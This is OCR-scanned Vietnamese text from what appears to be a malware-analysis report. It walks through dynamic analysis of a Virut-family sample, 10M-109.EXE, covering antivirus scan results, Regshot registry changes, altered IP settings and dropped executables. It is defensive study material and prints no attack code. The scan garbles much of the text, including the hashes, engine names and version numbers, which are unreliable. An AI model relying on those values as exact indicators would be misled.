Tén ma ddc hai, kich thude, kiéu ma doc hai (virus, trojan, worm )
tem thoi gian.

Thong tin vé checksum (MD35, SHA1).
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Vé hanh vi ciia m3 doc hai :
N6 dd 1am gi trén hé théng thong qua két qua cua cac report va
nhirng gi ta da quan sat dugc.

5.4 Phan tich mét trweong hop cu thé
Phan tich mau 10M-109.EXE

File name: 10M-109.EXE

Submission date: 2011-10-05 22:19:41 (UTC)
Current status: finished

Result: 36 /43 (83.7%)
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Antivirus
AhnLab-V3
AntiVir
Antiy-AVL
Avast

VG
BitDefender
ByteHero
CAT-QuickHeal
ClamiV
Commtouch
Comodo

DriNeb
Emsisoft
eSafe
eTrust-Vet
F-Prot
F-Secure
Fortinet
GData

Ikarus
Jiangmin
KiintiVirus
Kaspersky
Mchfee
McAfee-GW-Edition
Microsoft
NOD32

Horman
nProtect
Panda

BCTools

Brevx

Bizing

Sophos
SUPERAntiSpyware
Symantec
TheHacker
TrendMicro
TrendMicro-HouseCall

VBA32

Version
2011.10.05.00
7.11.15.135
2.0.3.7
6.0.1289.0
10.0.0.1180
7.2

1.0.0.1
11.00
0.97.0.0
5.3.2.6
103546
5.0.2.03300
5.1.0.11
70170
36.1.8599
4.6.2.117
9.0.16440.0
4.3.370.0

22
T3.1.1.107.0
13.0.900
9.114.5245
9.0.0.837
5.400.0.1158
2010.1D
1.7702

8520

6.07.11
2011-10-05.01
10.0.3.5
2.0.0.5

3.0
23.77.04.01
4.69.0
4.40.0.1008
20111.2.0.82
6.7.0.1.317
9.500.0.1008
9.500.0.1008

3.12.16.4

Last Update
2011.10.05
2011.10.05
2011.10.05
2011.10.05
2011.10.05
2011.10.0&
2011.09.23
2011.10.05
2011.10.04
2011.10.05
2011.10.04
2011.10.048
2011.10.05
2011.10.05
2011.10.05
2011.10.05
2011.10.048
2011.10.05
2011.10.05
2011.10.05
2011.10.05
2011.10.05
2011.10.05
2011.10.05
2011.10.05
2011.10.05
2011.10.05
2011.10.05
2011.10.05
2011.10.05
2011.10.05
2011.10.04
2011.09.30
2011.10.05
2011.10.05
2011.10.05
2011.10.05
2011.10.05
2011.10.0&

2011.10.05
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Result

Win32/Viruc.F

W32/ Viruc.Gen
Win32:Vitro
Win32/Virutc
Win32.Virtobk.Gen.l1l2
Trojan.Win32 . Heur. 087
Wiz2.Viruc.G

W32/ Virut.E.gen!Eldorado

Virus.Win3i2

Win3Z.Virut.

Virus.Win3z

Win32/Virut

Virut.CE
E1

Nirut!IK

17408

Wi2/Virut.E.gen!Eldorado
Win3z2.Virtobk.Gen.l1l2
W32/ Virutc.CE
Win32.Virtob.Gen.l1l2
Virus.Win32.Virut
Win32/Generic.a

Virus
Virus.Win3Z.Virut.ce
W32/ Virut.n.gen
Heuristic.LooksLike.Win32
Virns:Win32/Virut.BN
Win32/Viruc.NBE

W32/ Virut.HL
W3i2/5ality.RO
Malware.Virut
Win32.Virut.di
W3i2/Scribble-B
W32.Virut.CF

PE_VIRUX.O

PE_VIRDX.O

Virns.Win32.Viruc.X5

.Suspicious.C



VIERE 10670 2011.10.05 Virus.Win3Z.Virut.ce.3 (v)
ViRobot 2011.10.5.4703 2011.10.05 Win3Z.Virut.iM

VirusBuster 14.0.250.0 2011.10.05 Win3Z.Virut.&B.Gen

Additional information

MDA : cf3fefled’qa933c3taddbald2518638c
5HM : 8cE74bbf6bcidallecaflfd2dE4ca046278253562
SHA256: cfBaSal3ae30lfff5e3eacbTlcf3afa7097£93e31815cadeTco66d06ac07cdbad

ssdeep: 6144:qLEDEZAIuCWIleXSQynFFGkyplIkhwleRE9zkBg2rHOWz0dhckpaH1vEC] 1 qdC1CWIleC]
MFGkyIkgd+egSKlve

File size : 335360 bytes
Tiép theo ngudi phan tich tién hanh khai dong regshot, ProcessExplorer,
HijackThis, Wireshark 1én. Nguoi phan tich tién hanh “Shot” Regshot
truée khi chay 10M-109.EXE. Sau d6 tién hanh chay file 10M-109.EXE.
Sau khi chay thi xuat hién mot bang

AT A ooy s vI

— Ex -
Nguoi phan tich tiép tuc tién hanh phan tich va xuat ra cac log file
cua Reshot va HijackThis.
Log cua HijackThi thi chi c¢6 dong “C:\10M-109.EXE” la dang
chay
Log ctia Regshot thi ¢6 nhiéu thi hon
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“HKU\S-1-5-21-1454471165-790525478-682003330-
500\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDIg32\OpenSave
MRU\log\MRUL.st: "a"

HKU\S-1-5-21-1454471165-790525478-682003330-
500\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDIg32\OpenSave
MRU\wma\a: "C:\Documents and Settings\All Users\Documents\My Music\Sample
Music\Beethoven's Symphony No. 9 (Scherzo).wma"
HKU\S-1-5-21-1454471165-790525478-682003330-
500\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDIg32\OpenSave
MRU\wma\MRUL.ist: "a"

HKU\S-1-5-21-1454471165-790525478-682003330-
500\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.wma\OpenWi
thList\a: "10M-109.EXE"

HKU\S-1-5-21-1454471165-790525478-682003330-
500\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.wma\OpenWi
thList\MRUL.ist: "a"

HKU\S-1-5-21-1454471165-790525478-682003330-
500\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.log\OpenWit
hList\a: "NOTEPAD.EXE"

HKU\S-1-5-21-1454471165-790525478-682003330-
500\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.log\OpenWit
hListtMRUList: "a"”

Va dac biét la:

“HKLM\SY STEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{470C4D2
1-E2AC-46D6-A93C-4AC84E219400}\DhcpNameServer: "192.168.245.2"
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{470C4D21
-E2AC-46D6-A93C-4AC84E219400H\DhcpNameServer: "192.168.91.2"
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{470C4D21
-E2AC-46D6-A93C-4AC84E219400\DhcpDefaultGateway: '192.168.245.2'
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{470C4D21
-E2AC-46D6-A93C-4AC84E219400}\DhcpDefaultGateway: '192.168.91.2'
HKLM\SYSTEM\ControlSet001\Services\{470C4D21-E2AC-46D6-A93C-
4AC84E219400}\Parameters\Tcpip\DhcplPAddress: *192.168.245.128"
HKLM\SYSTEM\ControlSet001\Services\{470C4D21-E2AC-46D6-A93C-
4ACB84E219400}\Parameters\Tcpip\DhcplPAddress: "192.168.91.130"
HKLM\SYSTEM\ControlSet001\Services\{470C4D21-E2AC-46D6-A93C-
4ACB84E219400}\Parameters\Tcpip\DhcpServer: "192.168.245.254"
HKLM\SYSTEM\ControlSet001\Services\{470C4D21-E2AC-46D6-A93C-
4ACB84E219400}\Parameters\Tcpip\DhcpServer: "192.168.91.254"”

Quan sat miy dong log trén thiy dudng nhu Dia chi IP va Default
Gateway cua may tinh da bi ddi, Ngudi phan tich bat cira s6 cmd 1én dé
kiém tra IP cia mdy va dung nhu du doan dija chi IP cia may tinh da bi
doi.
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thernet adapter Local Area Connection:

Connection—specific DNS Suffix localdomain

IF Addres=s. . . . . 192 .168.91.138
Subnet Mask . . . . 255 _255_.255_@
Default Gateway . . 122 .168.21.2

Ethernet adapter Local Area Connection

Connection—specific DNS Suffix localdomain

IP Addres=s. . . . . . . . . . 192 _168.245_128
Subnet Mask . . . . . . . . . 255.255.255.0
Default Gateway . . . . . . . 1?2 .168.245.2

Nguoi phan tich lai tiép tuc quan sat ProcessExplorer thi thiy c6

chuong trinh la chay 1a dthbt3y.exe

. dfhbt3y.exe:1852 Properties

Threads TCRIIP Security Erviranment Skrings
Image Perfarmance Disk and Metwark, Performance Graph
Irmage File
j (Mot verified)
YWersion: 1.1.0.1
Time: 10/6/2011 &:19 AM

FPath {Image is probably packed):

1Docurnents and SettingsiAdminiskratoriapplication DataidFhbSy ., exe

Command line:
"CHDocurnents and Settings\administratoriapplication Data\dFhbeSy.e:

Current direckary:
W IRD O S swskem 32

Parent: VYRTDC . kmp(436)

User: MT AUTHORITY\SYSTEM

Started:  6:19:26 M 10/6/2011 Ering ko Front
Comment: Kill Process

Data Execution Prevention (DEP)

[ Ok ] [ Cancel ]

Ngudi phan tich bat ctra s6 cmd 1én sir dung 1énh “tasklist/sve ” thi
thdy ngoai chuong trinh trén ra con c6 “mbkfvo8.exe”. Khi theo duong
din dé tim dén “dfhbt3y.exe” thi thiy co file “aeugifjyx4.exe” & thu
muc Administrator. Tir ddy c6 thé thay rang ba file trén duoc sinh ra tir
10M-109.EXE. Pé thdy rd hon thi can phai phan tich thém vé
Wireshark va tién trinh svchost.exe. Co thé st dung két hop nhiéu
phuong phap nhu phén tich tinh dé tiép tuc cong viée. Trén day 1a mot vi
du cu thé vé phan tich mé doc st dung phuong phap phan tich dong.
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